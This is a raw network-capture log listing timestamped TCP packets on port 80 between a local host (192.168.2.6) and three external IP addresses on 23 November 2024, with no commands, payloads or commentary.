Nov 23, 2024 13:28:17.774378061 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.774400949 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.774441004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.775252104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.775305986 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.775353909 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.775485992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.776253939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.776324034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.776360989 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.776412964 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.777221918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.777292967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:20.082514048 CET	49721	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:20.082827091 CET	49755	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:20.202244043 CET	80	49721	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:20.202323914 CET	80	49755	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:20.202377081 CET	49721	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:20.202405930 CET	49755	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:20.202730894 CET	49755	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:20.322530031 CET	80	49755	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:20.715902090 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:20.835424900 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:20.837874889 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:20.838767052 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:20.958242893 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:21.535819054 CET	80	49755	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:21.540286064 CET	49755	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:22.365190983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.365248919 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.365392923 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.387644053 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.387711048 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.387722969 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.387768984 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.387773037 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.387783051 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.387809038 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.387810946 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.387823105 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.387851000 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.387882948 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.387917995 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.484860897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.484965086 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.485033989 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.489126921 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.533128023 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.598279953 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.598372936 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.598577023 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.602507114 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.602667093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.602709055 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.611057997 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.611152887 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.611191034 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.619584084 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.619700909 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.619934082 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.628177881 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.628293991 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.628426075 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.639699936 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.639818907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.640158892 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.644927979 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.645037889 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.645082951 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.653287888 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.653398037 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.653470039 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.661674023 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.661792994 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.661851883 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.670068026 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.670186996 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.670232058 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.678425074 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.720628977 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.738575935 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.738620043 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.738715887 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.742743015 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.783164024 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.808576107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.808701038 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.808758974 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.811717033 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.811839104 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.811886072 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.816591978 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.816690922 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.816739082 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.822940111 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.823025942 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.823072910 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.829252958 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.829358101 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.829400063 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.835587978 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.835701942 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.835752010 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.841901064 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.842004061 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.842046022 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.848292112 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.848490000 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.848555088 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.854578018 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.854687929 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.854732990 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.860868931 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.860972881 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.861011028 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.867185116 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.867285967 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.867333889 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.873603106 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.873661995 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.873712063 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.878762007 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.880544901 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.880601883 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.880655050 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.885812044 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.885855913 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.885864019 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.891081095 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.891127110 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.921147108 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.921328068 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.921392918 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.923659086 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.963726044 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.963816881 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.963833094 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.966236115 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.966289043 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.973980904 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.974025011 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:22.974072933 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:22.976551056 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.017513037 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.018971920 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.019001961 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.019042969 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.020535946 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.049998999 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.050046921 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.050123930 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.051598072 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.051644087 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.088856936 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.088934898 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.088977098 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.092547894 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.092658043 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.092698097 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.094216108 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.131469965 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.131516933 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.131544113 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.153099060 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.153150082 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.153162003 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.154829025 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.154872894 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.154946089 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.158265114 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.158313990 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.158997059 CET	49755	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:23.159296989 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.159421921 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.159461021 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.159544945 CET	49765	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:23.162702084 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.205010891 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.229324102 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.229384899 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.229425907 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.257500887 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.257577896 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.257719994 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.259069920 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.259187937 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.259233952 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.278939009 CET	80	49755	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:23.279090881 CET	80	49765	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:23.279126883 CET	49755	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:23.279180050 CET	49765	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:23.279351950 CET	49765	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:23.299209118 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.299221039 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.299292088 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.302841902 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.302922964 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.303065062 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.344362974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.344537973 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.344717979 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.346028090 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.366252899 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.366324902 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.366343021 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.398830891 CET	80	49765	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:23.408139944 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.429456949 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.429549932 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.429611921 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.431098938 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.439575911 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.439585924 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.439630985 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.525346994 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.525485039 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.525645971 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.527045965 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.573805094 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.573817968 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.574033022 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.601224899 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.601336002 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.601383924 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.602933884 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.639799118 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.639916897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:23.640007973 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:23.689521074 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.024414062 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.024449110 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.024667978 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.025413036 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.025520086 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.025562048 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.028850079 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.028932095 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.028971910 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.066977978 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.067101002 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.067150116 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.068691015 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.109709024 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.109757900 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.109880924 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.111355066 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.111402988 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.120136976 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.120255947 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.120300055 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.121737003 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.173871040 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.194814920 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.194834948 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.194894075 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.196552992 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.205391884 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.205435038 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.205437899 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.207101107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.207149029 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.237647057 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.237757921 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.237809896 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.239329100 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.279810905 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.279871941 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.279884100 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.281507015 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.281553030 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.320091963 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.320151091 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.320198059 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.377950907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.377985954 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.378026009 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.379077911 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.423763037 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.448085070 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.448327065 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.448379993 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.474028111 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.474040031 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.474050045 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.474061012 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.474112034 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.474127054 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.586101055 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.586128950 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.586172104 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.655638933 CET	80	49765	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:24.655708075 CET	49765	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:24.873219013 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.873253107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.873342037 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.874855042 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.923784018 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.968991041 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.969099045 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:24.969145060 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:24.970628023 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.017510891 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.044255972 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.044313908 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.044368982 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.045979977 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.046001911 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.046045065 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.083590984 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.083676100 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.083735943 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.097114086 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.097239017 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.097291946 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.098800898 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.129271984 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.129333019 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.129343987 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.130240917 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.130280972 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.130287886 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.133685112 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.133735895 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.171735048 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.171938896 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.171979904 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.173489094 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.173585892 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.173620939 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.176835060 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.213911057 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.213962078 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.214010000 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.215590954 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.215641022 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.215683937 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.219008923 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.219058990 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.254656076 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.254673004 CET	80	49758	34.116.198.130	192.168.2.6
